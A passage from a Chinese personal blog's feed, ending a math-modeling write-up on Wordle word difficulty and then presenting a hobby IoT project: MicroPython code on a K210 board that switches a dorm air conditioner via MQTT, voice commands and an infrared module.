移动到函数值较高的位置。</li><li>为避免发生因算法的随机性导致原来位置较好的点被抛弃的情况，在这里，细菌群落每移动一次，位置较差的细菌会继续向最佳位置处的细菌移动，以此提高算法的性能。</li><li>更新最优位置以及相关参数。重复步骤3）-6）直到满足终止条件跳出该循环。</li></ol><h4 id="4-结果分析">4.结果分析</h4><p>得出各项单词属性的拟合曲线，如下图所示。</p><p><img src="https://img.alexation.cn/blog/post/competition/MCM/21.png" alt=""></p><p>曲线的横坐标是预测值，纵坐标是实际值。 图中不同颜色代表不同的词属性。 曲线的横坐标是玩家尝试通过次数的预测百分比（1,2,3,4,5,6,X），纵坐标是实际值，黑色曲线是其中的点实际值等于预测值。 点越接近黑色曲线，说明这个词的属性对玩家尝试通过的次数有影响。</p><table><thead><tr><th style="text-align:center"><em>1 try</em></th><th style="text-align:center"><em>2 tries</em></th><th style="text-align:center"><em>3 tries</em></th><th style="text-align:center"><em>4 tries</em></th><th style="text-align:center"><em>5 tries</em></th><th style="text-align:center"><em>6 tries</em></th><th style="text-align:center"><em>7 tries</em></th></tr></thead><tbody><tr><td style="text-align:center">0.00000</td><td style="text-align:center">2.74384</td><td style="text-align:center">18.47856</td><td style="text-align:center">33.72893</td><td style="text-align:center">26.97891</td><td style="text-align:center">13.96125</td><td style="text-align:center">3.60754</td></tr></tbody></table><p>上表显示了2023年3月1日玩家尝试过关的次数（1,2,3,4,5,6,X）百分比的预测结果。其中，成功百分比第四次是最高的，也就是说这个单词的难度在中间。 由于该单词有3个重复字母，并且没有高频前缀后缀，因此第一次猜测成功的概率几乎为零。 不过，三个重复的字母会增加玩家猜出该字母的概率，因此成功集中在接下来的几次。 单词的不同属性会影响玩家填写单词的选择，从而影响游戏结果。</p><h3 id="问题四">问题四</h3><p>Q3：列出并描述这个数据集的其他一些有趣的特征。</p><h4 id="1-方法概述-3">1.方法概述</h4><p>第4题要求将单词按照难易程度进行分类，并分析每一类单词是否具有共同的性质。 方法概述流程图如下：</p><p><img src="https://img.alexation.cn/blog/post/competition/MCM/22.png" alt=""></p><p>引入基于时间序列全局主成分分析和熵权法的评价模型对词语难度进行评价，并通过聚类方法将其分为五个等级：困难、困难、中等困难、简单和较简单。 分析各年级单词的相同特征，计算单词“EERIE”的类别，以确定分类的合理性。</p><h4 id="2-基于时间序列全局主成分分析（GPCA）的评价分类模型——熵权法（EWM）">2.基于时间序列全局主成分分析（GPCA）的评价分类模型——熵权法（EWM）</h4><p>利用时间序列全局主成分分析可以将剖面数据扩展为面板数据，保证评价体系的统一性、完整性和可比性。 另外，将原始数据降维为多个不相关的主成分，然后代入熵权法，可以防止无效信息的重复加权。 最后，根据每日难度评估分数的相关性对变量进行分组，使得变量在同一组中相关性较高，而在不同组中相关性较差。 然后可以分析不同组中的数据属性。</p><h5 id="（1）数据标准化与降维">（1）数据标准化与降维</h5><p>本文通过极差法标准化对数据进行统一变换，区分正负指标，然后通过Z核法对数据进行集中处理。 一般情况下，极差法将指标标准化为两类：正向指标越大越好，负向指标越小越好）。 Z-core法的标准化数据公式为：</p><p><img src="https://img.alexation.cn/blog/post/competition/MCM/23.png" alt=""></p><h5 id="（2）时间序列全局主成分分析（GPCA）">（2）时间序列全局主成分分析（GPCA）</h5><p>将选择难度模式的标准化人数比例和正确人数比例引入时间序列主成分分析模型，得到每日游戏难度评价值。 时间序列全局主成分分析方法可以用以下模型表示：</p><p><img src="https://img.alexation.cn/blog/post/competition/MCM/24.png" alt=""></p><h4 id="3-结果分析-2">3.结果分析</h4><p><img src="https://img.alexation.cn/blog/post/competition/MCM/25.png" alt=""></p><p>通过聚类分析，根据词的常见频率、字母重复次数、词的前缀和后缀这四个因素对(1, 2 、3、4、5、6、X）。 与这五个类别相关的给定单词是最接近百分比的平均分数、重复单词的数量、单词的频率、字母重复的数量以及词缀的相关频率。 经过模型分析，EERIE一词被归为第三类。</p><h3 id="参考文献">参考文献</h3><p>[1]Tang Qiyi, Tang Jie. Application of Partial Least Squares Regression Analysis in Uniform Design Experiment Modeling Analysis [J]. Mathematical Statistics and Management, 2005, 24(5):6.</p><p>[2]Wang Junping, Chen Quanshi. Gray-neural network comprehensive forecasting model [J]. Computer Engineering and Application, 2004, 40(9):3.</p><p>[3]Guo Xiping, Wang Lidong. New Algorithm and Application of Empirical Mode Decomposition (EMD). Noise and Vibration Control, 2008, 28(5):3.</p><p>[4]Deng Xinyang, Deng Yong, Zhang Yajuan, et al. A reliability Markov model and its application [J]. Acta Automatica Sinica, 2012, 38(4):666-672.</p><p>[5]Wang Li, Wang Zhengou. TGSOM: A Dynamic Self-Organizing Map Neural Network for Data Clustering [J]. Journal of Electronics and Information Technology, 2003, 25(3):7.</p><p>[6]Zhang Haoran, Wang Xiaodong. Incremental and online learning algorithms for regression least squares support vector machines [J]. Journal of Computers, 2006, 29(3):7.</p><p>[7]Yan Weiwu, Shao Huihe. Comparison and Application of Support Vector Machine and Least Squares Support Vector Machine [J]. Control and Decision Making, 2003, 18(3):3.</p><p>[8]Cheng Qiyue. Structural entropy weight method for determining evaluation index weights [J]. Systems Engineering Theory and Practice, 2010(7):4.</p><p>[9]Yang Linyun, Zhou Haijing, Zhuo Qing, et al. Weighted clustering fusion based on attribute importance [J]. Computer Science, 2009, 36(4):4.</p><p>[10]Ma Chunlong, Shi Xiaoqing, Xu Weiwei, Ren Jinghua, Wang Pei, Wu Jichun. Correlation analysis of multiple monitoring indicators of polluted sites based on self-organizing neural network [J]. Hydrogeology and Engineering Geology, 2021,48(03):191-202 .</p><p>[11]Zeng Ming, Lv Chunquan, Tian Kuo, Xue Song. Least squares support vector machine short-term load forecasting method based on bacterial community chemotaxis optimization [J]. Chinese Journal of Electrical Engineering, 2011, 31(34): 93-99 +11.</p><p>[12]Fu Meiping, Ma Hongwei, Mao Jianrong. Short-term forecasting of photovoltaic power generation based on similar day and least squares support vector machine [J]. Power System Protection and Control, 2012,40(16):65-69.</p><p>[13]Ge Shaoyun, Jia Ousha, Liu Hong. Short-term power load forecasting under real-time electricity price conditions based on genetic gray neural network model [J]. Power Grid Technology, 2012,36(01):224-229.DOI:10.13335/j .1000-3673.pst.2012.01.041.</p><p>[14]Ye Lin, Liu Peng. Short-term wind power combination forecasting model based on empirical mode decomposition and support vector machine [J]. Chinese Journal of Electrical Engineering, 2011, 31(31): 102-108. DOI: 10.13334/j .0258-8013.pcsee.2011.31.014.</p><p>[15]Wang Yuefen, Wang Yishan. Discovery and Comparative Analysis of Public Opinion Themes of Different Communicators in the Communication Stage [J]. Modern Information, 2018, 38(09): 28-35+144.</p>]]></content>
    
    
    <summary type="html">针对Wordle游戏的数学建模分析</summary>
    
    
    
    <category term="竞赛" scheme="https://blog.alexation.cn/categories/%E7%AB%9E%E8%B5%9B/"/>
    
    
    <category term="ICM/MCM" scheme="https://blog.alexation.cn/tags/ICM-MCM/"/>
    
  </entry>
  
  <entry>
    <title>远程控制空调物联网项目</title>
    <link href="https://blog.alexation.cn/project/AirWifi/"/>
    <id>https://blog.alexation.cn/project/AirWifi/</id>
    <published>2022-08-04T02:05:30.000Z</published>
    <updated>2025-11-23T06:41:37.340Z</updated>
    
    <content type="html"><![CDATA[<h1 style="text-align:center;font-family:FZZhiYi-M12S;font-weight:700;">远程控制空调物联网项目</h1><p>其实这个项目起源于同学不经意间的一句话：“要是能远程开空调就好了，这样回宿舍的时候总是凉快的！”</p><p>我回——“预算多少”<s>（不是</s></p><p>因为手上的芯片不多了，STM丢光了，MSP430又不大会用，正好手上一块电赛剩来的K210，而且库封装也很友善，就打算用这个做主芯片来着手写一下这个项目。</p><h2 id="红外发射模块">红外发射模块</h2><img src="https://img.alexation.cn/blog/post/project/AirWifi/1.png" style="zoom:50%;" /><p>既然要实现空调的开关、定时等相关功能，红外发射模块是必不可少的，网上也有很多这样的模块，包括上位机店家也写好了，真是好不方便。我用的就是上图这一种，非常简洁、四针串口，也会给相关使用说明、硬件的规格手册等：</p><p><img src="https://img.alexation.cn/blog/post/project/AirWifi/2.png" alt=""></p><p>使用手册中会有这种协议介绍，我们只需要按照固定的协议以及使用手册中特定的功能码串口传输数据即可。</p><h2 id="语音识别模块">语音识别模块</h2><p><img src="https://img.alexation.cn/blog/post/project/AirWifi/3.png" alt=""></p><p>语音识别模块我选择的是智家物联的SU-03T核心板，SU-03T 是一款低成本、低功耗、小体积的离线语音识别模组，能快速应用于智能家 居，各类智能小家电，86 盒，玩具，灯具等需要语音操控的产品。店家已经焊好PCB封装，接线方便</p><ul><li>32bit RISC 内核，运行频率 240M</li><li>支持 DSP 指令集以及 FPU 浮点运算单元</li><li>FFT 加速器：最大支持 1024 点复数 FFT/IFFT 运算，或者是 2048 点的实数 FFT/IFFT 运算</li><li>内置高速 SRAM，内置 2MB FLASH</li><li>内置 3W、单声道 AB 类功放</li><li>支持 1 路驻极体麦</li><li>支 持 I2S input/output</li><li>支持 5V 电源输入</li><li>内置 5V 转 3.3V，3.3V 外部负载不超过 150mA</li><li>RC 12MHz 时钟源和 PLL 锁相环时钟源</li><li>内 置 POR（Power on Reset），低电压检测和看门狗</li><li>所 有 GPIO 均可配置为外部中断输入和唤醒源</li><li>1 个标准 SPI Master 接口，最高速率 30MHz</li><li>1 个 SPI Slave 接口最高速率 30MHz</li><li>1 个全双工 UART 最高速率 3Mbps。</li><li>1 个 I2C 主/从控制器最高速率 400kHz</li><li>2 个 PWM 输出</li><li>1 个 12-bit SAR-ADC 最大 450Khz 采样率</li></ul><p>最最最最最重要的是！这个支持UI编程：</p><p><a href="http://www.smartpi.cn" style="font-weight:700;color:#000"><em>智能公元/AIOT快速产品化平台</em></a></p><p>本来想只用这个实现远程控制+语音控制，但可惜只有一个UART，只好采用其他芯片。</p><h2 id="主芯片">主芯片</h2><p>其实打算用K210的时候很纠结的，因为这个板子功耗还是不低的，但我看中了他的库开发以及简介性，毕竟与其调硬件底层、我更喜欢写业务逻辑。（报错也是真的不好改<span class="emoji" alias="cry" style="" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f622.png?v8">😢</span></p><h3 id="语音识别">语音识别</h3><p>语音识别其实就是三个脉冲，UI编程的话很好设置，K210接受到后向红外串口发送信号，即可实现语音控制空调。</p><h3 id="MQTT通讯">MQTT通讯</h3><p>为了让K210与路由器进行连接，还需串口连接ESP8826，通讯方式选择MQTT。</p><p>当服务器和客户端建立起连接时，就可以相互通信了。在互联网应用大多使用 WebSocket 接口来传输数据。而在物联网应用中，常常出现这样的情况：海量的传感器，需要时刻保持在线，传输数据量非常低，有着大量用户使用。如果仍然使用 socket 作为通信，那么服务器的压力和通讯框架的设计随着数量的上升将变得异常复杂！ 那么有无一个框架协议来解决这个问题呢，答案是有的。那就是 MQTT(消息队列遥测传输)。</p><p>MQTT 是 IBM 于 1999 年提出的，和 HTTP 一样属于应用层，它工作在 TCP/IP 239 协议族上，通常还会调用 socket 接口。是一个基于客户端-服务器的消息发布/订 阅传输协议。其特点是协议是轻量、简单、开放和易于实现的，这些特点使它适 用范围非常广泛。在很多情况下，包括受限的环境中，如：机器与机器（M2M） 通信和物联网（IoT）。其在，通过卫星链路通信传感器、偶尔拨号的医疗设备、 智能家居、及一些小型化设备中已广泛使用。 总结下来 MQTT 有如下特性/优势： ➢ 异步消息协议 ➢ 面向长连接 ➢ 双向数据传输 ➢ 协议轻量级 ➢ 被动数据获取</p><p><img src="https://img.alexation.cn/blog/post/project/AirWifi/4.png" alt="MQTT流程图"></p><h3 id="源代码">源代码</h3><pre class="language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> network<span class="token punctuation">,</span>time<span class="token keyword">from</span> machine <span class="token keyword">import</span> UART<span class="token punctuation">,</span>Timer<span class="token keyword">from</span> Maix <span class="token keyword">import</span> GPIO<span class="token keyword">from</span> fpioa_manager <span class="token keyword">import</span> fm<span class="token keyword">from</span> simple <span class="token keyword">import</span> MQTTClient<span class="token comment"># User and Password</span>SSID<span class="token operator">=</span><span class="token string">'xxxxxxxx'</span> <span class="token comment"># WiFi 账号</span>KEY<span class="token operator">=</span><span class="token string">'xxxxxxxx'</span>  <span class="token comment"># WiFi 密码</span><span class="token comment"># Mic Control Init</span>fm<span class="token punctuation">.</span>register<span class="token punctuation">(</span><span class="token number">10</span><span class="token punctuation">,</span> fm<span class="token punctuation">.</span>fpioa<span class="token punctuation">.</span>GPIOHS4<span class="token punctuation">,</span> force<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span>fm<span class="token punctuation">.</span>register<span class="token punctuation">(</span><span class="token number">31</span><span class="token punctuation">,</span> fm<span class="token punctuation">.</span>fpioa<span class="token punctuation">.</span>GPIOHS5<span class="token punctuation">,</span> force<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span>fm<span class="token punctuation">.</span>register<span class="token punctuation">(</span><span class="token number">30</span><span class="token punctuation">,</span> fm<span class="token punctuation">.</span>fpioa<span class="token punctuation">.</span>GPIOHS6<span class="token punctuation">,</span> force<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span>open_air <span class="token operator">=</span> GPIO<span class="token punctuation">(</span>GPIO<span class="token punctuation">.</span>GPIOHS4<span class="token punctuation">,</span> GPIO<span class="token punctuation">.</span>IN<span class="token punctuation">)</span>close_air <span class="token operator">=</span> GPIO<span class="token punctuation">(</span>GPIO<span class="token punctuation">.</span>GPIOHS5<span class="token punctuation">,</span> GPIO<span class="token punctuation">.</span>IN<span class="token punctuation">)</span>time_air <span class="token operator">=</span> GPIO<span class="token punctuation">(</span>GPIO<span class="token punctuation">.</span>GPIOHS6<span class="token punctuation">,</span> GPIO<span class="token punctuation">.</span>IN<span class="token punctuation">)</span><span class="token comment"># Wifi En Pin</span>fm<span class="token punctuation">.</span>register<span class="token punctuation">(</span><span class="token number">11</span><span class="token punctuation">,</span> fm<span class="token punctuation">.</span>fpioa<span class="token punctuation">.</span>GPIOHS0<span class="token punctuation">,</span> force<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span>wifi_en<span class="token operator">=</span>GPIO<span class="token punctuation">(</span>GPIO<span class="token punctuation">.</span>GPIOHS0<span class="token punctuation">,</span> GPIO<span class="token punctuation">.</span>OUT<span class="token punctuation">)</span><span class="token comment"># Wifi Init</span>fm<span class="token punctuation">.</span>register<span class="token punctuation">(</span><span class="token number">7</span><span class="token punctuation">,</span> fm<span class="token punctuation">.</span>fpioa<span class="token punctuation">.</span>UART2_TX<span class="token punctuation">,</span> force<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span>fm<span class="token punctuation">.</span>register<span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">,</span> fm<span class="token punctuation">.</span>fpioa<span class="token punctuation">.</span>UART2_RX<span class="token punctuation">,</span> force<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span>uart_wifi <span class="token operator">=</span> UART<span class="token punctuation">(</span>UART<span class="token punctuation">.</span>UART2<span class="token punctuation">,</span><span class="token number">115200</span><span class="token punctuation">,</span>timeout<span class="token operator">=</span><span class="token number">1000</span><span class="token punctuation">,</span>read_buf_len<span class="token operator">=</span><span class="token number">4096</span><span class="token punctuation">)</span><span class="token comment"># Red Init</span>fm<span class="token punctuation">.</span>register<span class="token punctuation">(</span><span class="token number">9</span><span class="token punctuation">,</span> fm<span class="token punctuation">.</span>fpioa<span class="token punctuation">.</span>UART1_TX<span class="token punctuation">,</span> force<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span>fm<span class="token punctuation">.</span>register<span class="token punctuation">(</span><span class="token number">32</span><span class="token punctuation">,</span> fm<span class="token punctuation">.</span>fpioa<span class="token punctuation">.</span>UART1_RX<span class="token punctuation">,</span> force<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span>uart_red <span class="token operator">=</span> UART<span class="token punctuation">(</span>UART<span class="token punctuation">.</span>UART1<span class="token punctuation">,</span><span class="token number">115200</span><span class="token punctuation">,</span>timeout<span class="token operator">=</span><span class="token number">1000</span><span class="token punctuation">,</span>read_buf_len<span class="token operator">=</span><span class="token number">4096</span><span class="token punctuation">)</span><span class="token comment"># WiFi</span><span class="token keyword">def</span> <span class="token function">wifi_enable</span><span class="token punctuation">(</span>en<span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">global</span> wifi_en    wifi_en<span class="token punctuation">.</span>value<span class="token punctuation">(</span>en<span class="token punctuation">)</span><span class="token keyword">def</span> <span class="token function">wifi_init</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">global</span> uart_wifi    wifi_enable<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span>    time<span class="token punctuation">.</span>sleep_ms<span class="token punctuation">(</span><span class="token number">200</span><span class="token punctuation">)</span>    wifi_enable<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>    time<span class="token punctuation">.</span>sleep<span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span>    uart_wifi <span class="token operator">=</span> UART<span class="token punctuation">(</span>UART<span class="token punctuation">.</span>UART2<span class="token punctuation">,</span><span class="token number">115200</span><span class="token punctuation">,</span>timeout<span class="token operator">=</span><span class="token number">1000</span><span class="token punctuation">,</span> read_buf_len<span class="token operator">=</span><span class="token number">4096</span><span class="token punctuation">)</span>    tmp <span class="token operator">=</span> uart_wifi<span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span>    uart_wifi<span class="token punctuation">.</span>write<span class="token punctuation">(</span><span class="token string">"AT+UART_CUR=921600,8,1,0,0\r\n"</span><span class="token punctuation">)</span>    <span class="token keyword">print</span><span class="token punctuation">(</span>uart_wifi<span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token comment"># important! baudrate too low or read_buf_len too small will loose data</span>    uart_wifi <span class="token operator">=</span> UART<span class="token punctuation">(</span>UART<span class="token punctuation">.</span>UART2<span class="token punctuation">,</span><span class="token number">921600</span><span class="token punctuation">,</span>timeout<span class="token operator">=</span><span class="token number">1000</span><span class="token punctuation">,</span> read_buf_len<span class="token operator">=</span><span class="token number">10240</span><span class="token punctuation">)</span>    uart_wifi<span class="token punctuation">.</span>write<span class="token punctuation">(</span><span class="token string">"AT\r\n"</span><span class="token punctuation">)</span>    tmp <span class="token operator">=</span> uart_wifi<span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span>    <span class="token keyword">print</span><span class="token punctuation">(</span>tmp<span class="token punctuation">)</span>    <span class="token keyword">if</span> <span class="token keyword">not</span> tmp<span class="token punctuation">.</span>endswith<span class="token punctuation">(</span><span class="token string">"OK\r\n"</span><span class="token punctuation">)</span><span class="token punctuation">:</span>        <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"reset fail"</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> <span class="token boolean">None</span>    <span class="token keyword">try</span><span class="token punctuation">:</span>        nic <span class="token operator">=</span> network<span class="token punctuation">.</span>ESP8285<span class="token punctuation">(</span>uart_wifi<span class="token punctuation">)</span>    <span class="token keyword">except</span> Exception<span class="token punctuation">:</span>        <span class="token keyword">return</span> <span class="token boolean">None</span>    <span class="token keyword">return</span> nic<span class="token keyword">def</span> <span class="token function">MQTT_callback</span><span class="token punctuation">(</span>topic<span class="token punctuation">,</span> msg<span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">global</span> uart_red    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'topic: &#123;&#125;'</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>topic<span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">'msg: &#123;&#125;'</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>msg<span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token keyword">if</span> msg <span class="token operator">==</span> <span class="token string">b'open'</span><span class="token punctuation">:</span>        uart_red<span class="token punctuation">.</span>write<span class="token punctuation">(</span><span class="token string">b'\x68\x08\x00\xFF\x12\x01\x12\x16'</span><span class="token punctuation">)</span>    <span class="token keyword">if</span> msg <span class="token operator">==</span> <span class="token string">b'close'</span><span class="token punctuation">:</span>        uart_red<span class="token punctuation">.</span>write<span class="token punctuation">(</span><span class="token string">b'\x68\x08\x00\xFF\x12\x00\x11\x16'</span><span class="token punctuation">)</span>    <span class="token keyword">if</span> msg <span class="token operator">==</span> <span class="token string">b'time'</span><span class="token punctuation">:</span>        uart_red<span class="token punctuation">.</span>write<span class="token punctuation">(</span><span class="token string">b'\x68\x08\x00\xFF\x12\x02\x13\x16'</span><span class="token punctuation">)</span>        <span class="token keyword">def</span> <span class="token function">MQTT_Rev</span><span class="token punctuation">(</span>tim<span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">try</span><span class="token punctuation">:</span>        client<span class="token punctuation">.</span>check_msg<span class="token punctuation">(</span><span class="token punctuation">)</span>    <span class="token keyword">except</span> OSError<span class="token punctuation">:</span>        <span class="token keyword">pass</span><span class="token comment"># Connecting</span>wlan <span class="token operator">=</span> wifi_init<span class="token punctuation">(</span><span class="token punctuation">)</span>wlan<span class="token punctuation">.</span>connect<span class="token punctuation">(</span>SSID<span class="token punctuation">,</span>KEY<span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>wlan<span class="token punctuation">.</span>ifconfig<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># Mqtt Params</span>SERVER <span class="token operator">=</span> <span class="token string">'xxxxxxxx'</span>PORT <span class="token operator">=</span> <span class="token number">1883</span>CLIENT_ID <span class="token operator">=</span> <span class="token string">'xxxxxxxx'</span>USER <span class="token operator">=</span> <span class="token string">'xxxxxxxx'</span>PASSWORD <span class="token operator">=</span> <span class="token string">'xxxxxxxx'</span>TOPIC <span class="token operator">=</span> <span class="token string">'xxxxxxxx'</span>client <span class="token operator">=</span> MQTTClient<span class="token punctuation">(</span>CLIENT_ID<span class="token punctuation">,</span> SERVER<span class="token punctuation">,</span> PORT<span class="token punctuation">,</span>user<span class="token operator">=</span>USER<span class="token punctuation">,</span> password<span class="token operator">=</span>PASSWORD<span class="token punctuation">)</span>client<span class="token punctuation">.</span>set_callback<span class="token punctuation">(</span>MQTT_callback<span class="token punctuation">)</span>client<span class="token punctuation">.</span>connect<span class="token punctuation">(</span><span class="token punctuation">)</span>client<span class="token punctuation">.</span>subscribe<span class="token punctuation">(</span>TOPIC<span class="token punctuation">)</span>tim <span class="token operator">=</span> Timer<span class="token punctuation">(</span>Timer<span class="token punctuation">.</span>TIMER0<span class="token punctuation">,</span> Timer<span class="token punctuation">.</span>CHANNEL0<span class="token punctuation">,</span> mode<span class="token operator">=</span>Timer<span class="token punctuation">.</span>MODE_PERIODIC<span class="token punctuation">,</span>period<span class="token operator">=</span><span class="token number">300</span><span class="token punctuation">,</span> callback<span class="token operator">=</span>MQTT_Rev<span class="token punctuation">)</span>t_before <span class="token operator">=</span> time<span class="token punctuation">.</span>time<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token keyword">while</span> <span class="token boolean">True</span><span class="token punctuation">:</span>    <span class="token comment"># Reconnecting</span>    <span class="token keyword">if</span> time<span class="token punctuation">.</span>time<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">-</span> t_before <span class="token operator">></span> <span class="token number">60</span><span class="token punctuation">:</span>        <span class="token comment"># Disconnecting</span>        client<span class="token punctuation">.</span>disconnect<span class="token punctuation">(</span><span class="token punctuation">)</span>        tim<span class="token punctuation">.</span>deinit<span class="token punctuation">(</span><span class="token punctuation">)</span>        <span class="token comment"># Connecting</span>        wlan <span class="token operator">=</span> wifi_init<span class="token punctuation">(</span><span class="token punctuation">)</span>        wlan<span class="token punctuation">.</span>connect<span class="token punctuation">(</span>SSID<span class="token punctuation">,</span>KEY<span class="token punctuation">)</span>        <span class="token keyword">print</span><span class="token punctuation">(</span>wlan<span class="token punctuation">.</span>ifconfig<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token comment"># Mqtt Params</span>        SERVER <span class="token operator">=</span> <span class="token string">'xxxxxxxx'</span>        PORT <span class="token operator">=</span> <span class="token number">1883</span>        CLIENT_ID <span class="token operator">=</span> <span class="token string">'xxxxxxxx'</span>        USER <span class="token operator">=</span> <span class="token string">'xxxxxxxx'</span>        PASSWORD <span class="token operator">=</span> <span class="token string">'xxxxxxxx'</span>        TOPIC <span class="token operator">=</span> <span class="token string">'xxxxxxxx'</span>        client <span class="token operator">=</span> MQTTClient<span class="token punctuation">(</span>CLIENT_ID<span class="token punctuation">,</span> SERVER<span class="token punctuation">,</span> PORT<span class="token punctuation">,</span>user<span class="token operator">=</span>USER<span class="token punctuation">,</span> password<span class="token operator">=</span>PASSWORD<span class="token punctuation">)</span>        client<span class="token punctuation">.</span>set_callback<span class="token punctuation">(</span>MQTT_callback<span class="token punctuation">)</span>        client<span class="token punctuation">.</span>connect<span class="token punctuation">(</span><span class="token punctuation">)</span>        client<span class="token punctuation">.</span>subscribe<span class="token punctuation">(</span>TOPIC<span class="token punctuation">)</span>        tim <span class="token operator">=</span> Timer<span class="token punctuation">(</span>Timer<span class="token punctuation">.</span>TIMER0<span class="token punctuation">,</span> Timer<span class="token punctuation">.</span>CHANNEL0<span class="token punctuation">,</span> mode<span class="token operator">=</span>Timer<span class="token punctuation">.</span>MODE_PERIODIC<span class="token punctuation">,</span>period<span class="token operator">=</span><span class="token number">300</span><span class="token punctuation">,</span> callback<span class="token operator">=</span>MQTT_Rev<span class="token punctuation">)</span>        t_before <span class="token operator">=</span> time<span class="token punctuation">.</span>time<span class="token punctuation">(</span><span class="token punctuation">)</span>    <span class="token comment"># Mic</span>    <span class="token keyword">if</span> open_air<span class="token punctuation">.</span>value<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">:</span>        uart_red<span class="token punctuation">.</span>write<span class="token punctuation">(</span><span class="token string">b'\x68\x08\x00\xFF\x12\x01\x12\x16'</span><span class="token punctuation">)</span>        time<span class="token punctuation">.</span>sleep<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>     <span class="token keyword">if</span> close_air<span class="token punctuation">.</span>value<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">:</span>        uart_red<span class="token punctuation">.</span>write<span class="token punctuation">(</span><span class="token string">b'\x68\x08\x00\xFF\x12\x00\x11\x16'</span><span class="token punctuation">)</span>        time<span class="token punctuation">.</span>sleep<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>    <span class="token keyword">if</span> time_air<span class="token punctuation">.</span>value<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">:</span>        uart_red<span class="token punctuation">.</span>write<span class="token punctuation">(</span><span class="token string">b'\x68\x08\x00\xFF\x12\x02\x13\x16'</span><span class="token punctuation">)</span>        time<span class="token punctuation">.</span>sleep<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span>            time<span class="token punctuation">.</span>sleep<span class="token punctuation">(</span><span class="token number">0.2</span><span class="token punctuation">)</span></code></pre><h2 id="小程序前端">小程序前端</h2><p>MQTT服务器我选择的是环信即时通讯云</p><p><a href="https://docs-im.easemob.com/mqtt/intro">产品概述 IM 开发文档] (easemob.com)</a></p><p>该服务说明比较详细，快速收发demo也比较全，支持服务器端集成SDK、提供API接口，我好爱。<span class="emoji" alias="heart_eyes" style="" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f60d.png?v8">😍</span></p><p>收发demo云端我选择的是小程序收发，安装他介绍的操作步骤，补充api参数，初始化代码即可实现订阅功能。这里不做介绍啦。</p><h2 id="补充">补充</h2><p>这个项目其实也没有考虑很多，随便写一些罢了，不过，这里有很多有趣的还可以补充，像：</p><ol><li>你可以通过对接QQ机器人、微信机器人，实现QQ、微信发消息控制智能家居；</li><li>微信、QQ消息通过小爱同学播报；</li><li>通过人脸识别、人体检测，搭配任意摄像机，实现回家欢迎、出门关灯等操作；</li><li>让灯光颜色根据你电脑屏幕颜色来自动变化；</li><li>家里门打开了自动启动XXX游戏；</li><li>……………</li></ol>]]></content>
    
    
    <summary type="html">本项目可以通过微信小程序、语音等方式实现远程、语音控制宿舍空调的开关以及定时等相关功能。</summary>
    
    
    
    <category term="项目" scheme="https://blog.alexation.cn/categories/%E9%A1%B9%E7%9B%AE/"/>
    
    
    <category term="IOT" scheme="https://blog.alexation.cn/tags/IOT/"/>
    
  </entry>
  
  <entry>
    <title>Python常用库</title>
    <link href="https://blog.alexation.cn/python/lib/"/>
    <id>https://blog.alexation.cn/python/lib/</id>
    <published>2022-07-09T02:20:05.000Z</published>
    <updated>2024-03-29T13:38:52.316Z</updated>
    
